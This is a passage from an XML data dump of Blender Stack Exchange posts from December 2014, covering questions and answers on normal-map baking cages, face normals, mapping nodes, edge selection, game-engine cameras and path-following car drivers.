  <row Id="21186" PostTypeId="1" AcceptedAnswerId="21206" CreationDate="2014-12-20T17:28:20.703" Score="4" ViewCount="7719" Body="&lt;p&gt;I have various problems with baking, especially normal maps. I heard it's better to have a cage, but how do I create a cage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of how it looks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hwt02.jpg&quot; alt=&quot;Screenshot of attempt to create a cage&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="1253" LastEditDate="2014-12-20T20:51:07.747" LastActivityDate="2014-12-20T20:51:07.747" Title="How to create a cage for baking?" Tags="&lt;texture-baking&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21187" PostTypeId="2" ParentId="21185" CreationDate="2014-12-20T17:41:57.130" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=78ORdi4-ynk&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=78ORdi4-ynk&lt;/a&gt; I found answer here...:) This really does work for me! So, what did I do wrong: I parented camera to car. And, what is appropirate for this game: Selecting camera, adding Always sensor, And controller and Camera actuator with car object selected, min and max to 10, height to 3 and damp to 0.05. Hope this helps you too&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2014-12-20T18:21:02.657" LastActivityDate="2014-12-20T18:21:02.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21189" PostTypeId="2" ParentId="21181" CreationDate="2014-12-20T18:30:56.267" Score="2" Body="&lt;p&gt;Assuming that you want to keep the low level minecraft style you could add an edge loop to the body and extrude the arms. You will need to adjust the weight painting like here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ajOQk.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For smoother animation see also (note my answer on adding a few more loop-cuts in the shoulder region):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/415/what-is-the-ideal-topology-for-a-shoulder-joint&quot;&gt;What is the ideal topology for a shoulder joint?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-12-20T20:42:15.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21190" PostTypeId="1" CreationDate="2014-12-20T18:36:38.767" Score="8" ViewCount="935" Body="&lt;p&gt;I've seen the term &lt;code&gt;Normal&lt;/code&gt; being used in many places, but I'm not quite sure what it is or what it's used for; what exactly are they?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="2217" LastEditDate="2014-12-20T18:48:46.427" LastActivityDate="2014-12-22T09:46:21.350" Title="What are face normals?" Tags="&lt;normals&gt;&lt;terminology&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21191" PostTypeId="2" ParentId="21190" CreationDate="2014-12-20T18:36:38.767" Score="8" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Normal_(geometry)#Normal_to_surfaces_in_3D_space&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Normals&lt;/em&gt;&lt;/a&gt; are vectors that are &lt;a href=&quot;http://en.wikipedia.org/wiki/Orthogonality&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Orthogonal&lt;/em&gt;&lt;/a&gt; to the &lt;em&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Tangent_space&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tangent plane&lt;/a&gt;&lt;/em&gt; of a curved surface; Or simply &lt;em&gt;orthogonal&lt;/em&gt; to a &lt;em&gt;face&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Normals are&lt;/strong&gt; usually &lt;strong&gt;used&lt;/strong&gt; to determine a surface's orientation toward a light source &lt;strong&gt;for shading&lt;/strong&gt;. Most common examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Flat, Goraud, Phong shading&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CgYpo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fresnel, Refraction, Reflection effects&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Bump, Normal, Displacement mapping&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Normals are generally normalized to length 1 (in arbitrary units), otherwise calculation errors, and thus artifacts, may arise. Since they only point one way they are also used for back &lt;a href=&quot;http://en.wikipedia.org/wiki/Back-face_culling&quot; rel=&quot;nofollow noreferrer&quot;&gt;visibility culling&lt;/a&gt; (when double-sided is off).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why it is important for the normals to be consistent and coherent (i.e. point in the correct way - outwards of a model).&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="7777" LastEditDate="2014-12-22T09:46:21.350" LastActivityDate="2014-12-22T09:46:21.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21192" PostTypeId="1" AcceptedAnswerId="21194" CreationDate="2014-12-20T18:52:18.337" Score="13" ViewCount="3312" Body="&lt;p&gt;&lt;strong&gt;What do the four buttons (texture, point, vector, and normal) at the top of the &lt;em&gt;mapping&lt;/em&gt; node do?&lt;/strong&gt;  It by default uses &lt;em&gt;point&lt;/em&gt; and I have never changed it.  But in the answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/21175/how-to-make-a-repeating-pattern-wallpaper&quot;&gt;this question&lt;/a&gt; David mentioned changing it to &lt;em&gt;texture&lt;/em&gt; (which makes intuitive sense).  But &lt;em&gt;technically&lt;/em&gt; what do these buttons do?  I have always thought the mapping node is the same as using a &lt;em&gt;vector&lt;/em&gt; &gt; &lt;em&gt;split XYZ&lt;/em&gt; and math nodes to manipulate the components, in fact I often do this instead of a mapping node if I want to plug some other nodes into the values.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-12-21T04:12:48.950" Title="What does the mapping type do on a mapping node?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21193" PostTypeId="2" ParentId="21190" CreationDate="2014-12-20T18:57:08.977" Score="5" Body="&lt;p&gt;Besides the mathematical explanations, I think a picture will help to understand what is meant by normals and perpendicular. The faces having a normal (blue lines) pointing to a light source are rendered brighter than the faces pointing into other directions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PpSGX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can toggle the display of normals in the &lt;em&gt;Properties Panel&lt;/em&gt; (right panel &lt;kbd&gt;N&lt;/kbd&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mIGPT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-12-22T09:41:23.690" LastActivityDate="2014-12-22T09:41:23.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21194" PostTypeId="2" ParentId="21192" CreationDate="2014-12-20T19:06:52.317" Score="6" Body="&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/manual/render/cycles/nodes/more.html#mapping&quot; rel=&quot;nofollow&quot;&gt;mapping node&lt;/a&gt; works by changing the coordinate system. This is why (when left on the default &lt;em&gt;point&lt;/em&gt; setting) you have to put in a larger number to scale a image down. What is you are actually doing is scaling the texture &lt;strong&gt;coordinates&lt;/strong&gt; up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When set to &lt;em&gt;Texture&lt;/em&gt; you are still changing the Coordinate system, not the texture. The only difference between &lt;em&gt;Point&lt;/em&gt; and &lt;em&gt;Texture&lt;/em&gt; is that for texture all the values are inverted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try it, when set to &lt;em&gt;point&lt;/em&gt; a value of &lt;code&gt;2&lt;/code&gt; is required to make the texture repeat 4 times.&lt;br&gt;&#xA;When set to &lt;em&gt;texture&lt;/em&gt; to get the same repeating 4 times the value must be &lt;code&gt;.5&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would highly recommend going through the &lt;a href=&quot;https://web.archive.org/web/20141109185127/http://cgcookie.com/blender/cgc-courses/custom-uv-transformation-nodes-cycles&quot; rel=&quot;nofollow&quot;&gt;cg cookie tutorial&lt;/a&gt; (&lt;a href=&quot;https://cgcookie.com/archive/custom-uv-transformation-nodes-cycles/&quot; rel=&quot;nofollow&quot;&gt;archive&lt;/a&gt;) about the mapping node.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-11-22T21:24:26.150" LastActivityDate="2015-11-22T21:24:26.150" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21195" PostTypeId="2" ParentId="21174" CreationDate="2014-12-20T19:24:14.987" Score="2" Body="&lt;p&gt;After importing a .SVG like &lt;a href=&quot;http://upload.wikimedia.org/wikipedia/commons/d/d1/Xmas_tree.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; you see that it consists of many curves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can convert it with &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt; Mesh from Curve...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After scaling and rotating all elements and relocating some parts you should have something like that:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4HH4I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it is up to you to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Animate the tree segments with glitter balls parented by simply keyframe their rotation.&lt;/li&gt;&#xA;&lt;li&gt;Join all to one mesh and add a shape keys to animate them (use proportional editing)&lt;/li&gt;&#xA;&lt;li&gt;Creating a rig is also possible but would be kinda overkill&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-20T19:24:14.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21196" PostTypeId="1" AcceptedAnswerId="21197" CreationDate="2014-12-20T19:26:48.910" Score="9" ViewCount="8833" Body="&lt;p&gt;I have a selection of edges. I would like to convert my selection to the outer edges only. How do I do this automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GNS0I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2020-02-21T14:37:42.793" Title="How to convert edge selection to outer edges only?" Tags="&lt;selection-tools&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21197" PostTypeId="2" ParentId="21196" CreationDate="2014-12-20T19:29:47.460" Score="12" Body="&lt;ol&gt;&#xA;&lt;li&gt;Ensure you are in edge selection mode &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; &gt; &lt;em&gt;Edges&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Then in the 3D view header &lt;em&gt;Select&lt;/em&gt; &gt; &lt;em&gt;Select Boundary Loop&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could (for such a simple selection) just hold &lt;kbd&gt;Alt&lt;/kbd&gt; and &lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; on the first edge, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; on the second edge.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.187" LastActivityDate="2014-12-20T22:48:20.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21198" PostTypeId="1" AcceptedAnswerId="21199" CreationDate="2014-12-20T19:32:33.067" Score="4" ViewCount="2140" Body="&lt;p&gt;In the Cycles node editor, for materials, you can get some information about the object, which the material is being applied to, by using a &lt;code&gt;Geometry&lt;/code&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among others, you can get the objects &lt;em&gt;Normal&lt;/em&gt; and... it's &lt;em&gt;&lt;strong&gt;True&lt;/strong&gt; Normal&lt;/em&gt;. This suggests that the first is fake or not as accurate, which makes no sense. This leads me to my question - what is the &lt;em&gt;technical&lt;/em&gt; difference between an object's &lt;em&gt;Normal&lt;/em&gt; and it's &lt;em&gt;&lt;strong&gt;True&lt;/strong&gt; Normal&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-12-20T19:57:31.627" Title="What's the difference between Normal and True Normal?" Tags="&lt;normals&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21199" PostTypeId="2" ParentId="21198" CreationDate="2014-12-20T19:57:31.627" Score="4" Body="&lt;p&gt;The Blender Wiki states that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Normal = Shading normal at the surface (includes smooth normals and&#xA;  bump mapping).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;True Normal = Geometry or flat normal of the surface.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The normal value takes into account your shading technique, while the true normal uses the actual face direction.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-20T19:57:31.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21200" PostTypeId="2" ParentId="21142" CreationDate="2014-12-20T20:00:14.790" Score="1" Body="&lt;p&gt;It appears that you may be using an international font, while not having enabled them beforehand. Go to &lt;a href=&quot;https://blender.stackexchange.com/q/3522/935&quot;&gt;this question&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-12-20T20:00:14.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21201" PostTypeId="2" ParentId="21141" CreationDate="2014-12-20T20:01:37.163" Score="1" Body="&lt;p&gt;As Chetan Trivedi said:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.. . I overlooked the parenting of the minds eye (the parent of the two individual eyes). Minds eye was not parented to the head deformation bone which was causing the problem. Its fixed now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Posted to take this off of the un-answered list&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-20T20:01:37.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21203" PostTypeId="2" ParentId="18957" CreationDate="2014-12-20T20:08:43.123" Score="1" Body="&lt;p&gt;As said by BlendingJake:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To my knowledge it is impossible to get wind inside of Blender Game engine without faking it. You can get cloth simulations by using the Soft Body physics type, but then you have to figure out a way to pin up the flag. My thought would be to create a short, loopable animation that could be played.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Posted to remove from un-answered list&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-20T20:08:43.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21204" PostTypeId="1" AcceptedAnswerId="21229" CreationDate="2014-12-20T20:10:38.087" Score="1" ViewCount="661" Body="&lt;p&gt;I'm currently trying to model a fox icon using Bezier Curves.&lt;br&gt;&#xA;Here's what is looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8hSpW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or what I'm doing it by:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zKW9n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I had some kinda weird goings on when I was filling it, or using&#xA;the &quot;bevel&quot; option. (Beveling, if you can say it that way)&#xA;As you can see in the first of the pix, most all of what I've done has been filled and thickened. But, when I try to bevel the curve that is highlighted (first picture), it simply disappears. I'm beveling it from 0 to 0.025, like all the others (which went fine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pic of the bevel value changed and the bezier curve gone:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4I3mG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9594" LastEditorUserId="9596" LastEditDate="2014-12-20T21:45:25.310" LastActivityDate="2014-12-21T12:15:22.453" Title="When changing bevel on curves, the curves disappear" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21206" PostTypeId="2" ParentId="21186" CreationDate="2014-12-20T20:26:41.140" Score="5" Body="&lt;p&gt;From &lt;a href=&quot;http://wiki.polycount.com/wiki/Normal_map#Working_with_Cages&quot; rel=&quot;nofollow noreferrer&quot;&gt;polycount wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Most normal map baking tools allow you to use a distance-based raycast. A ray is sent outwards along each vertex normal, then at the distance you set a ray is cast back inwards. Where ever that ray intersects the high poly mesh, it will sample the normals from it.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately with a distance-based raycast, split vertex normals will cause the bake to miss parts of the high-res mesh, causing errors and seams.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lgZgh.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some software allows you to use cage mesh option instead, which basically inflates a copy of the low-poly mesh, then raycasts inwards from each vertex. This ballooned-out mesh is the cage.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So the &lt;strong&gt;Cage mesh is a low-poly mesh defining how far will be the rays cast&lt;/strong&gt;. Its good for fine control, but usually you can get away with just properly set Ray Distance in the Baking panel and having smooth shading.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-20T20:26:41.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21207" PostTypeId="2" ParentId="21185" CreationDate="2014-12-20T21:51:06.107" Score="4" Body="&lt;p&gt;This can be achieved by using the &lt;em&gt;Slow Parent&lt;/em&gt; option.&#xA;Set an appropriate offset, and the parented object (in this case it is your camera) will always have that much delay to reach its target position. This provides for smoother parents and a side view when turning more reliably than using the &lt;em&gt;Camera&lt;/em&gt; actuator. When using the &lt;em&gt;Camera&lt;/em&gt; actuator, It does not behave as expected when the object it is following moves in the direction of the camera (for example, when the character is backing up)&#xA;using this method, you can have one camera for driving forward, and one camera for backing up, and both will reliably look where they are meant to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/btrWY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2014-12-20T21:51:06.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21208" PostTypeId="2" ParentId="21175" CreationDate="2014-12-20T21:51:18.000" Score="8" Body="&lt;p&gt;Adding to David's answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that to control how many times you want to repeat an image in a texture you can use the &lt;strong&gt;Min&lt;/strong&gt; and &lt;strong&gt;Max&lt;/strong&gt; values of the mapping node. Min 0 Max 1 will show the image one time only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XKmLi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-21T18:52:35.730" LastActivityDate="2014-12-21T18:52:35.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21209" PostTypeId="1" AcceptedAnswerId="21213" CreationDate="2014-12-20T22:13:11.950" Score="6" ViewCount="1381" Body="&lt;p&gt;I am making a racing game and I got a question. I want to make AI of simple street drivers(not opponents, but just simple pople). I want to know, how to make that AI that follows its path... Could you give me image or video tutorial?&lt;/p&gt;&#xA;" OwnerUserId="8363" LastActivityDate="2015-03-11T01:37:50.707" Title="How to make car AI in my game?" Tags="&lt;game-engine&gt;&lt;path&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21210" PostTypeId="2" ParentId="19151" CreationDate="2014-12-20T23:17:13.263" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Unwrap the UV texture&lt;/li&gt;&#xA;&lt;li&gt;Add a material&lt;/li&gt;&#xA;&lt;li&gt;Check &quot;Face Textures&quot; under Options in the materials panel.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You may now adjust the spec.  Make sure the textures panel is empty.&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-12-20T23:17:13.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21211" PostTypeId="1" CreationDate="2014-12-20T23:36:17.463" Score="3" ViewCount="473" Body="&lt;p&gt;When I load the &lt;em&gt;Cusom Node&lt;/em&gt; template into the text editor and run it in blender I can't add the created nodes in the newly created node tree. I see them but they are grayed out. Is the code somehow deprecated?! &lt;/p&gt;&#xA;" OwnerUserId="8359" LastEditorUserId="3401" LastEditDate="2015-12-22T18:15:43.587" LastActivityDate="2015-12-22T18:15:43.587" Title="Can't add nodes from custom nodes template" Tags="&lt;nodes&gt;&lt;pynodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21212" PostTypeId="2" ParentId="8637" CreationDate="2014-12-20T23:44:05.870" Score="2" Body="&lt;p&gt;If running the exe works, you could also open the blend &lt;em&gt;with&lt;/em&gt; blenderplayer and not worry about exporting.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;os.system('/path/to/blenderplayer.exe bob2.blend')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-12-20T23:44:05.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21213" PostTypeId="2" ParentId="21209" CreationDate="2014-12-21T00:27:34.210" Score="6" Body="&lt;p&gt;You can make AI drivers follow a path very easily. First, add an &lt;em&gt;always&lt;/em&gt; sensor. Enable &lt;em&gt;Positive triggering&lt;/em&gt; (pulse mode). connect that to an &lt;em&gt;And&lt;/em&gt; controller. Then add a &lt;em&gt;Steering&lt;/em&gt; actuator. (connect that to the &lt;em&gt;And&lt;/em&gt; controller) change the Steering actuator's &lt;em&gt;Behavior&lt;/em&gt; from &lt;em&gt;Seek&lt;/em&gt; to Path &lt;em&gt;Following&lt;/em&gt;. Then add a a plane, extrude it to whatever shape you want, then change the Physics type from &lt;em&gt;Static&lt;/em&gt; to &lt;em&gt;Navigation Mesh&lt;/em&gt;. Add an object to be used as the end destination. Your navigation mesh must connect from your AI driver's starting point to the ending point. Select your AI driver, and put the name of your &lt;em&gt;Navigation Mesh&lt;/em&gt; in the input field entitled navigation mesh. then put your ending destination object's name in the input field for &lt;em&gt;Target Object.&lt;/em&gt; if you did this correctly, your AI driver will follow the navigation mesh &lt;em&gt;On The Shortest Route Possible&lt;/em&gt; to reach the end point. It is important to note two things. First, the navigation mesh is invisible and has no collision with anything else. Secondly, Because the AI driver will follow the path on the shortest route possible, the thinner the path, the better. Notice the path the object will take in the following pictures&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7AvAV.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3s5Ci.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;From those two pictures, you can conclude that a wide path does not work as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AI Driver's logic setup&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Wcwpi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/82/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=82&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-03-11T01:37:50.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21214" PostTypeId="1" CreationDate="2014-12-21T00:43:30.093" Score="1" ViewCount="62" Body="&lt;p&gt;&lt;em&gt;I'm making a prosthetic hand for a young man.  These are the 'gauntlet' and 'palm' for the base design:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/folderview?id=0B7IZ4iPA1DJZWnVHN2RtdnB5WlU&amp;amp;usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/folderview?id=0B7IZ4iPA1DJZWnVHN2RtdnB5WlU&amp;amp;usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/folderview?id=0B7IZ4iPA1DJZWnVHN2RtdnB5WlU&amp;amp;usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/folderview?id=0B7IZ4iPA1DJZWnVHN2RtdnB5WlU&amp;amp;usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The two parts join at a &quot;wrist hinge&quot;.  As designed, the forearm &quot;gauntlet&quot; hinge (link 1) is inside the &quot;palm&quot; hinge (Link 2).  However, there are many instances where the &quot;gauntlet&quot; hinge needs to be outside the palm hinge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) I've struggled to cut away the hinge from (2) to transfer to (1), but have not figured out how to reattach.  The hinges from (1) need to be transferred to (2).&#xA;B) Reattach the new hinges to the primary objects.&#xA;C) Offset the hinge connections on (2) about 2mm toward the center and spread the connections on (1) about 8mm away from the center of the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, I hope A, B, &amp;amp; C convey what I'd like to accomplish.  However, I'm fairly certain that this is a relatively simple transformation in Blender.  I'm just too locked into conventional CAD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;With a fresh cup of coffee, it occurs to me that this might effectively be accomplished by selecting each hinge in turn and translating it, then smoothing the vertices.  The holes for the hinge pins would require some reshaping, which I haven't learned.  So...different questions:  1) can the effects of the hinge translation be spread over more than adjacent vertices (smoothing enabled?) and 2) can a primitive be used to reshape the holes for the hinge pins?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA for links, suggestions,....&lt;/p&gt;&#xA;" OwnerUserId="9598" LastEditorUserId="9598" LastEditDate="2014-12-21T12:45:36.203" LastActivityDate="2014-12-21T12:45:36.203" Title="Exchanging parts between two objects" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-21T07:33:07.507" ContentLicense="CC BY-SA 3.0" />
  <row Id="21216" PostTypeId="1" AcceptedAnswerId="21218" CreationDate="2014-12-21T01:09:21.157" Score="2" ViewCount="2144" Body="&lt;p&gt;I am using the Mirror Modifier to try to make a cinder block mesh. It is composed of some curves converted to meshes and some manually assembled faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears to be having trouble with overlapping faces, although I cannot see a reason for that to be happening. I have tried extruding the face that is having the most problem and it fixes it a bit but not entirely. And I am really unsure about the inside lines on the inside of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8AhHK.jpg&quot; alt=&quot;AO black lines&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OTuDB.jpg&quot; alt=&quot;front&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tEOnD.jpg&quot; alt=&quot;back&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="5426" LastEditDate="2014-12-21T02:26:24.377" LastActivityDate="2015-03-07T16:13:45.073" Title="Overlapping faces in 